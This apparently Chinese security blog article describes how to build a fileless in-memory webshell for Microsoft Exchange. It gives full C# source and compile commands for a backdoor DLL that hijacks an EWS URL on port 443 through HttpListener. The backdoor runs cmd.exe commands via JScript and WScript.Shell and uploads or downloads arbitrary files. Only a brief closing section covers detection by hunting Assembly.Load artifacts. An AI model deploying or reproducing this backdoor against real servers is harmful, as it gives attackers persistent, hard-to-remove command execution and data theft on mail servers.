0x00 前言
在之前的文章《渗透基础——Exchange一句话后门的实现》和《渗透基础——Exchange一句话后门的扩展》介绍了通过Webshell内存加载.net程序集的方法。
如果同其他技术相结合,可以达到意想不到的效果。
本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。
0x01 简介
本文将要介绍以下内容:
◼思路启发
◼开源代码
◼检测方法
0x02 思路启发
1.Exchange的端口复用
参考资料:
http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html
https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0
通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问
这种方法可以在Exchange下建立一个监听器,执行提供的命令
2.通过C Sharp调用JScript
参考资料:
https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.vsa?view=netframework-4.8
示例代码test1.cs的内容如下:
using System; namespace test { public class Program { public static void Main(string[] args) { string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()"; Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine(); code = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(code)); object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine); Console.WriteLine(obj); } } }
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test1.cs
3.Exchange的端口复用 + 通过C Sharp调用JScript
示例代码test2.cs的内容如下:
using System; using System.Web; using System.Diagnostics; using System.Threading; using System.Runtime.InteropServices; using System.Text; using System.IO; using System.Security.Cryptography; using System.Net; using System.Reflection; using System.Collections; using System.Collections.Generic; using System.DirectoryServices; namespace test { public class test { static void Main(string[] args) { new Thread(Listen).Start(); } static void Listen() { try { if (!HttpListener.IsSupported) { return; } HttpListener listener = new HttpListener(); listener.Prefixes.Add("https://*:443/ews/test/"); listener.Start(); while (true) { HttpListenerContext context = listener.GetContext(); HttpListenerRequest request = context.Request; HttpListenerResponse response = context.Response; Stream stm = null ; string cmd=request.QueryString["pass"]; Console.WriteLine(cmd); if(!string.IsNullOrEmpty(cmd)) { try { Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine(); cmd = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(cmd)); object obj = Microsoft.JScript.Eval.JScriptEvaluate(cmd, vsaEngine); byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj); response.StatusCode = 200; response.ContentLength64 = data.Length; stm = response.OutputStream; stm.Write(data, 0, data.Length); } catch { response.StatusCode = 404; } finally { if(stm!=null) { stm.Close(); } } } else { response.StatusCode = 404; response.OutputStream.Close(); } } } catch { } } } }
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test2.cs
以上代码通过调用JScript执行cmd命令,简单实现了Webshell的功能
4.内存加载.net程序集
将以上代码按照.net程序集的格式编译成dll,再通过Webshell进行内存加载,那么就能够实现一个内存Webshell
示例代码tes3.cs的内容如下:
using System; using System.Web; using System.Diagnostics; using System.Threading; using System.Runtime.InteropServices; using System.Text; using System.IO; using System.Security.Cryptography; using System.Net; using System.Reflection; using System.Collections; using System.Collections.Generic; using System.DirectoryServices; namespace EWS.TEST.BACKDOOR { public class TEST { static void Main(string[] args) { new Thread(Listen).Start(); } static void Listen() { try { if (!HttpListener.IsSupported) { return; } HttpListener listener = new HttpListener(); listener.Prefixes.Add("https://*:443/ews/test/"); listener.Start(); while (true) { HttpListenerContext context = listener.GetContext(); HttpListenerRequest request = context.Request; HttpListenerResponse response = context.Response; Stream stm = null ; string cmd = request.QueryString["cmd"]; string upload = request.QueryString["upload"]; string path = request.QueryString["path"]; string download = request.QueryString["download"]; if(string.IsNullOrEmpty(cmd) && string.IsNullOrEmpty(upload) && string.IsNullOrEmpty(download) && string.IsNullOrEmpty(path)) { response.StatusCode = 404; response.OutputStream.Close(); } else { if(!string.IsNullOrEmpty(upload) && !string.IsNullOrEmpty(path)) { byte[] temp = Convert.FromBase64String(path); path = System.Text.Encoding.ASCII.GetString(temp); byte[] data = Convert.FromBase64String(upload); FileStream fs = new FileStream(path, FileMode.Create); fs.Write(data, 0, data.Length); fs.Flush(); fs.Close(); response.StatusCode = 200; response.OutputStream.Close(); } else if(!string.IsNullOrEmpty(download)) { byte[] temp = Convert.FromBase64String(download); download = System.Text.Encoding.ASCII.GetString(temp); byte[] buffer = System.IO.File.ReadAllBytes(download); string base64str = Convert.ToBase64String(buffer); byte[] data = System.Text.Encoding.UTF8.GetBytes(base64str); response.StatusCode = 200; response.ContentLength64 = data.Length; stm = response.OutputStream; stm.Write(data, 0, data.Length); } else if(!string.IsNullOrEmpty(cmd)) { string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c " + cmd + "\").stdout.readall()"; try { Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine(); code = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(code)); object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine); byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj); response.StatusCode = 200; response.ContentLength64 = data.Length; stm = response.OutputStream; stm.Write(data, 0, data.Length); } catch { response.StatusCode = 404; } finally { if(stm!=null) { stm.Close(); } } } else { response.StatusCode = 404; response.OutputStream.Close(); } } } } catch { } } } }
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /r:Microsoft.JScript.dll test3.cs
生成的test3.dll即为实现内存Webshell的Payload数据,支持命令执行,文件上传和下载
0x03 检测方法
这种内存Webshell不需要文件落地,会写入进程内存,无法调用Assembly.UnLoad清除,只能重启Exchange
检测方法:根据Assembly.Load的内存特性进行检查
参考资料:
https://www.elastic.co/blog/hunting-memory-net-attacks
可供参考的检测脚本:
https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58
检测命令:
powershell -ep bypass -c "Import-Module ./Get-ClrReflection.ps1;Get-ClrReflection"
0x04 小结
本文介绍了Exchange内存Webshell的实现思路,给出防御检测的建议。
如若转载,请注明原文地址